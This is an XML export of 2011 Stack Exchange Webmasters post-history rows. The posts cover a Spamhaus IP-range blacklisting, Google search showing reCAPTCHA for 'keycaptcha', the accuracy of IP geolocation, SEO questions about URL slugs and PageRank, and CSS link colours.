  <row Id="17887" PostHistoryTypeId="5" PostId="8311" RevisionGUID="d146cca8-c377-48dd-81f3-d1c5f49e3c3f" CreationDate="2011-01-26T19:30:25.333" UserId="4643" Comment="added 192 characters in body" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 used by back2.stopspamers.com on a dedicated server in Switzerland.  &#xD;&#xA;The query [http://www.spamhaus.org/query/bl?ip=91.205.43.252][1]   tells that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.252 is listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  Spamming and now seems this place is involved in other fraud&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.252 is not listed amongst criminal ip-addresses but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.252) address from SPAMHAUS blacklist?   &#xD;&#xA;ISP and dedicated server hoster do not answer.  &#xD;&#xA;&#xD;&#xA;And why the heck SPAMHAUS is blacklisting spam-stopping service?  &#xD;&#xA;&#xD;&#xA;This is only one example of a bunch.  &#xD;&#xA;&#xD;&#xA;My related posts:  &#xD;&#xA; &#xD;&#xA;  - [Blacklist IP database][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17888" PostHistoryTypeId="25" PostId="8311" RevisionGUID="600d5be4-95c1-473e-9a56-b36effc9432a" CreationDate="2011-01-26T19:55:52.207" Comment="http://twitter.com/#!/StackWebmasters/status/30353244567896064" />
  <row Id="17890" PostHistoryTypeId="5" PostId="8309" RevisionGUID="21962966-19d2-40cc-a521-755b0740105d" CreationDate="2011-01-26T20:18:58.253" UserId="210" Comment="added 52 characters in body" Text="You better bet is to use a geo location service or database, like [www.ip2location.com][1] or [simplegeo.com][2]. You'll need to keep track of it yourself, possibly sending it to Google Analytics. Unfortunately, it still won't give you an exact zip or postal code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ip2location.com/&#xD;&#xA;  [2]: http://simplegeo.com/" />
  <row Id="17891" PostHistoryTypeId="2" PostId="8313" RevisionGUID="5cf67b7a-8f6f-4ead-9299-062e0b42a87c" CreationDate="2011-01-26T20:37:30.720" UserId="4643" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="17892" PostHistoryTypeId="1" PostId="8313" RevisionGUID="5cf67b7a-8f6f-4ead-9299-062e0b42a87c" CreationDate="2011-01-26T20:37:30.720" UserId="4643" Text="Why googling by keycaptcha give results on reCAPTCHA?" />
  <row Id="17893" PostHistoryTypeId="3" PostId="8313" RevisionGUID="5cf67b7a-8f6f-4ead-9299-062e0b42a87c" CreationDate="2011-01-26T20:37:30.720" UserId="4643" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="17894" PostHistoryTypeId="2" PostId="8314" RevisionGUID="a1f93777-6570-4e0c-bf7d-9e7c2587db19" CreationDate="2011-01-26T20:51:09.667" UserId="1253" Text="In your question you're using two different websites. One is the russian google (google.ru) and the other is google.com which is not country specific. The results will differ between the two as the factors used when ranking pages varies between the two sites. When I used google.com and searched for keycaptcha I got expected results. For some reason Google either finds keycaptcha to have different relevancy in Russia (maybe they don't allow their service to be used there) or this is a normal temporary fluctuation in results.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17895" PostHistoryTypeId="2" PostId="8315" RevisionGUID="ba29fd7f-d4a8-4247-9c0e-04cb1ba94d5c" CreationDate="2011-01-26T20:57:20.297" UserId="108" Text="I just [Googled][1] keycaptcha without quotes and received nothing for recaptcha.  I also check the results for keycaptcha in the past 24 hours and again did not get anything for recaptcha.&#xD;&#xA;&#xD;&#xA;There are 3 things you should check.&#xD;&#xA;&#xD;&#xA; 1. Like John Conde said, using www.google.ru and www.google.com will probably yield different results.&#xD;&#xA; 2. Are you logged into Google? This can change your results.&#xD;&#xA; 3. When you search for keycaptcha Google asks if you really mean repatcha.  If you click on that it will show recaptcha results instead. Perhaps its automatically switching to that? You can check by seeing what is in your search bar after you clicked the search button.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com" />
  <row Id="17896" PostHistoryTypeId="25" PostId="8313" RevisionGUID="a7948da2-b549-4aab-b654-1bcbd2b903fb" CreationDate="2011-01-26T22:55:51.600" Comment="http://twitter.com/#!/StackWebmasters/status/30398540740038656" />
  <row Id="17897" PostHistoryTypeId="2" PostId="8316" RevisionGUID="40a203de-388f-41a1-858c-d3bec0bee401" CreationDate="2011-01-27T00:09:04.283" UserDisplayName="user4940" Text="I found out how to get all the IP addresses via Server Logs.  &#xD;&#xA;&#xD;&#xA;I'm using the IP addresses to get the Latitude and Longitude.  The address appear to be approx 1 3 miles away from the actual address of the vistor.  &#xD;&#xA;&#xD;&#xA;Can someone explain why the GPI coordinates via IP address are not exactly matching the location of the user?&#xD;&#xA;&#xD;&#xA;Is there a more dependable way to get the address?&#xD;&#xA;&#xD;&#xA;Erik" />
  <row Id="17898" PostHistoryTypeId="1" PostId="8316" RevisionGUID="40a203de-388f-41a1-858c-d3bec0bee401" CreationDate="2011-01-27T00:09:04.283" UserDisplayName="user4940" Text="I found the IP Addresses via Logs &amp; Google AP.  I have a question about the the GPI?" />
  <row Id="17899" PostHistoryTypeId="3" PostId="8316" RevisionGUID="40a203de-388f-41a1-858c-d3bec0bee401" CreationDate="2011-01-27T00:09:04.283" UserDisplayName="user4940" Text="&lt;ip-address&gt;" />
  <row Id="17903" PostHistoryTypeId="2" PostId="8318" RevisionGUID="aaf4df0f-5bf3-4c27-9f4f-bfa4b8561d4d" CreationDate="2011-01-27T01:11:12.583" UserId="55" Text="This is mostly because IP address -&gt; location databases are not updated in real time with what ISP's actually allocate. It is conceivable that a single /20 or /22 block serves a 10 mile region of customers, or approximately 10 - 15 DSLAM units.&#xD;&#xA;&#xD;&#xA;Services such as Maxmind _typically_ keep close to in sync with IP allocation changes, and have a very high accuracy rate _by city_. However, lat / long for any given IP address could jitter by 5 - 10 miles, depending upon who receives that IP from any given ISP, in any given city.&#xD;&#xA;&#xD;&#xA;The larger the actual subnet, the larger the jitter where this is concerned. For instance, an ip on a /16 block could literally be anywhere in a given 30 mile radius especially if the ISP assigns a new IP on each connection. It is seldom that they allocate that way, but some do. There's no way to keep a database in sync with such a moving target." />
  <row Id="17904" PostHistoryTypeId="25" PostId="8316" RevisionGUID="10a1f026-7db3-4fc1-91e9-bf560ed1585e" CreationDate="2011-01-27T02:15:59.020" Comment="http://twitter.com/#!/StackWebmasters/status/30448903136477184" />
  <row Id="17905" PostHistoryTypeId="2" PostId="8319" RevisionGUID="1697990c-1a3c-4914-b5f1-5e4bc5070973" CreationDate="2011-01-27T02:25:05.440" UserId="4943" Text="I've got an MVC app that generates url &quot;slugs&quot; on the fly.  I'm wondering (with regards to SEO) if it's good practice to stip common words from the slug.&#xD;&#xA;&#xD;&#xA;IE:&#xD;&#xA;&#xD;&#xA;Page Title: **This is a cool title with lots of content**&#xD;&#xA;&#xD;&#xA;Page Slug: **/this-is-a-cool-title-with-lots-of-content**  &#xD;&#xA;Option B: **/this-cool-title-with-lots-content**" />
  <row Id="17906" PostHistoryTypeId="1" PostId="8319" RevisionGUID="1697990c-1a3c-4914-b5f1-5e4bc5070973" CreationDate="2011-01-27T02:25:05.440" UserId="4943" Text="Is it a good idea to strip common words from url's" />
  <row Id="17907" PostHistoryTypeId="3" PostId="8319" RevisionGUID="1697990c-1a3c-4914-b5f1-5e4bc5070973" CreationDate="2011-01-27T02:25:05.440" UserId="4943" Text="&lt;seo&gt;" />
  <row Id="17908" PostHistoryTypeId="2" PostId="8320" RevisionGUID="32efdd52-c9d3-4d4a-bed1-395f7cd0f7bb" CreationDate="2011-01-27T02:42:20.123" UserDisplayName="user4944" Text="Here is my site: [http://dosrevival.com][1]&#xD;&#xA;&#xD;&#xA;I can't seem to get the links to stop turning purple after being clicked in Chrome and IE (works in some Firefox versions?!?). In my CSS file I'm changing the a:link and a:hover 'color' to white and the 'text-decoration' to none or underlined as necessary. What's making Chrome throw this back up? Thanks! &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dosrevival.com" />
  <row Id="17909" PostHistoryTypeId="1" PostId="8320" RevisionGUID="32efdd52-c9d3-4d4a-bed1-395f7cd0f7bb" CreationDate="2011-01-27T02:42:20.123" UserDisplayName="user4944" Text="&lt;a&gt; link color CSS not working for Chrome/Firefox/IE/Safari etc." />
  <row Id="17910" PostHistoryTypeId="3" PostId="8320" RevisionGUID="32efdd52-c9d3-4d4a-bed1-395f7cd0f7bb" CreationDate="2011-01-27T02:42:20.123" UserDisplayName="user4944" Text="&lt;html&gt;&lt;css&gt;&lt;chrome&gt;&lt;colour-depth&gt;&lt;anchor&gt;" />
  <row Id="17911" PostHistoryTypeId="2" PostId="8321" RevisionGUID="89a9b6b5-8e92-4eae-845f-272313f9de67" CreationDate="2011-01-27T02:45:28.637" UserId="3067" Text="I would like to get higher pagerank for my blog.  &#xD;&#xA;I know good contents are most important for SEO.  &#xD;&#xA;But I guess there are miscellaneous things(but legal) which site operators should know.  &#xD;&#xA;&#xD;&#xA;These are something I wanted to know.&#xD;&#xA;&#xD;&#xA; - What if I send a tracback to someone else's blog, does it help my blog's pagerank?  &#xD;&#xA; - If I register a comment to other blogs(with my blog address), does it help my blog's pagerank?  &#xD;&#xA; - http://benjaminlog.com/ &lt;- I just wrote my blog address at here. does it help my blog's pagerank?  &#xD;&#xA; - If I send a tracback to someone's blog which is very famous, does it help my blog's pagerank **much more**?" />
  <row Id="17912" PostHistoryTypeId="1" PostId="8321" RevisionGUID="89a9b6b5-8e92-4eae-845f-272313f9de67" CreationDate="2011-01-27T02:45:28.637" UserId="3067" Text="Miscellaneous ways to get higher pagerank" />
  <row Id="17913" PostHistoryTypeId="3" PostId="8321" RevisionGUID="89a9b6b5-8e92-4eae-845f-272313f9de67" CreationDate="2011-01-27T02:45:28.637" UserId="3067" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;blog&gt;" />
  <row Id="17914" PostHistoryTypeId="2" PostId="8322" RevisionGUID="3efa6a75-9b55-444b-be96-a5dc8e90e7a0" CreationDate="2011-01-27T03:08:37.023" UserId="4943" Text="Check out this link  &#xD;&#xA;http://blogs.x2line.com/al/articles/159.aspx&#xD;&#xA;&#xD;&#xA;Basically you need something along these lines&#xD;&#xA;&#xD;&#xA;    a:link              { color:red; }&#xD;&#xA;    a:visited           { color:green; }&#xD;&#xA;    a:hover             { color:blue; }&#xD;&#xA;    a:active            { color:orange; }&#xD;&#xA;&#xD;&#xA;Notice that I didn't put purple in there.  You can see each color in the life cycle of the click process.&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;ALSO&lt;/h3&gt;&#xD;&#xA;It is **VERY** important that you put them in the [proper order][1].  Link, Visited, Hover, Active&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.adobe.com/cantrell/archives/2003/04/order_of_anchor.html" />
  <row Id="17915" PostHistoryTypeId="2" PostId="8323" RevisionGUID="ae2af5d4-64b7-4542-be4b-451ba18fc573" CreationDate="2011-01-27T03:15:19.193" UserId="4945" Text="The easiest way to accomplish this is by changing all of your pages to .php extension. You can still use HTML in them. You can then use something like this:&#xD;&#xA;&lt;?php include(&quot;includes/sidenav.php&quot;);?&gt;&#xD;&#xA;In the &quot;sidenav.php&quot; file you have your navigation. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="17916" PostHistoryTypeId="2" PostId="8324" RevisionGUID="5d4b9963-185b-4ff8-94b6-ebdfaa76b271" CreationDate="2011-01-27T03:25:03.863" UserId="4945" Text="This may be difficult to answer since you have some pretty detailed questions. If I could give one answer, I'd say that you should check out w3schools.com and learn all the HTML markup and CSS you can. From there approach web design from a strictly CSS and HTML stance. Use images to add enhancement. &#xD;&#xA;&#xD;&#xA;Truth be told, you can do a lot with CSS to make a site look pretty. And since your strength lies incoming, the markup should be simple for you." />
  <row Id="17917" PostHistoryTypeId="2" PostId="8325" RevisionGUID="c2c1cd3f-56a5-4b60-9d2f-38b93a8e68f0" CreationDate="2011-01-27T03:36:50.540" UserId="4945" Text="For youTube, you should go back to the video on YouTube.com and grab the embed code.&#xD;&#xA;&#xD;&#xA;What other objects do you need to embed?" />
  <row Id="17918" PostHistoryTypeId="5" PostId="8313" RevisionGUID="24d190c3-43c7-4ddc-9fbf-63573442c9e4" CreationDate="2011-01-27T03:40:57.683" UserId="4643" Comment="added 694 characters in body; added 337 characters in body" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible directly to start using google.com as I am always redirected to google.ru.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr] to prevent redirection from google.com[6] but even [using this workaround I am getting only reCAPTCHA results on googling by keycaptcha with &quot;Past 24 hours&quot;][6]   &#xD;&#xA;&#xD;&#xA;OL, I can use quoted &quot;keycaptcha&quot;, I am already accustomed, but the question arises why the heck to burn time promoting KeyCAPTCHA if GOOGLE uses it for showing its own product reCAPTCHA instead and what can be done with it?  The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.ru/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24" />
  <row Id="17919" PostHistoryTypeId="6" PostId="8321" RevisionGUID="f5f863cc-b86d-46c3-b8ad-dec9f87c300c" CreationDate="2011-01-27T03:42:55.517" UserId="3067" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;pagerank&gt;&lt;blog&gt;" />
  <row Id="17920" PostHistoryTypeId="2" PostId="8326" RevisionGUID="e8a864df-5353-40ef-962d-5b13fa9faa83" CreationDate="2011-01-27T03:52:17.950" UserId="4803" Text="1. http://webmasters.stackexchange.com/questions/7932/what-is-the-standard-width-for-a-website-in-pixels/8153#8153&#xD;&#xA;&#xD;&#xA;2. My experience with slicing a template in Photoshop has always been tedious and slow. What version of Photoshop are you using?&#xD;&#xA;&#xD;&#xA;Generally, I choose to not use slices and simply use the marquee tool (Rectangle, etc.) and copy/paste to a new image and save that. Then use HTML/CSS to align it correctly.&#xD;&#xA;&#xD;&#xA;3. Say you have a content box that you display news and updates in and want the image on the header look like it's leading down into the content area. Make the full image of the header area with the content area, then slice it so it will fit as the background image of the header. Take the other part and make that the background image of the content area. There are a few tricks to get it to align correctly though, such as CSS to align the background correctly.&#xD;&#xA;&#xD;&#xA;It's not necessarily a secret method, it's more of people getting creative with simple tools that are used in every website. If you need more of an example, I can give you one.&#xD;&#xA;&#xD;&#xA;4. That all depends on the content of your website. If you want a really up-to-date website that includes lots of changing content, you want to go with dynamic (what I think you meant by liquid) in which case you will want to use PHP or some CMS, or if you're just giving some content that won't change that much, you can go with static.&#xD;&#xA;&#xD;&#xA;Now, others on here may have better ideas, the methods above is what I have seen work.&#xD;&#xA;&#xD;&#xA;P.S. I apologize for such a late reply, this answer would have been stood up about 24 hours ago but I was having internet problems." />
  <row Id="17921" PostHistoryTypeId="5" PostId="8313" RevisionGUID="ad7c6133-1701-4425-a95b-33c2736100cc" CreationDate="2011-01-27T03:59:58.777" UserId="4643" Comment="added 407 characters in body; added 20 characters in body" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly to start using google.com as I am always redirected to google.ru.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr] to prevent redirection from google.com[6] but even [using this workaround I am getting only reCAPTCHA results on googling by keycaptcha with &quot;Past 24 hours&quot;][6]   &#xD;&#xA;&#xD;&#xA;OL, I can use quoted &quot;keycaptcha&quot;, I am already accustomed, but the question arises why the heck to burn time promoting KeyCAPTCHA if GOOGLE uses it for showing its own product reCAPTCHA instead and what can be done with it?  The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.ru/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24" />
  <row Id="17922" PostHistoryTypeId="5" PostId="8313" RevisionGUID="52fc145b-b5b7-45b0-9675-3696c5fe941b" CreationDate="2011-01-27T04:10:09.267" UserId="4643" Comment="added 165 characters in body" Text="I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly to start using google.com as I am always redirected to google.ru.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.ru/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24" />
  <row Id="17923" PostHistoryTypeId="5" PostId="8311" RevisionGUID="a2ed8029-4406-4e58-993f-5e2cac6d6496" CreationDate="2011-01-27T04:22:04.683" UserId="4643" Comment="added 467 characters in body" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 used by back2.stopspamers.com on a dedicated server in Switzerland.  &#xD;&#xA;The query [http://www.spamhaus.org/query/bl?ip=91.205.43.252][1]   tells that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.252 is listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  Spamming and now seems this place is involved in other fraud&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.252 is not listed amongst criminal ip-addresses but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.252) address from SPAMHAUS blacklist?   &#xD;&#xA;ISP and dedicated server hoster do not answer.  &#xD;&#xA;&#xD;&#xA;And why the heck SPAMHAUS is blacklisting spam-stopping service?  &#xD;&#xA;&#xD;&#xA;This is only one example of a bunch.  &#xD;&#xA;&#xD;&#xA;My related posts:  &#xD;&#xA; &#xD;&#xA;  - [Blacklist IP database][4]  &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;From the answer provided I realized that my question was not even understood.  &#xD;&#xA;&#xD;&#xA;This ip-address **91.205.43.252** is not blacklisted individually, it is blacklisted through its supernet **91.205.40.0/22**.  &#xD;&#xA;Also note that dedicated server, ISP and customer are in much different distant countries. Didicated server provider has only online contact form (not even Email oк other means of communication). If it does not answer, what can be done?    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
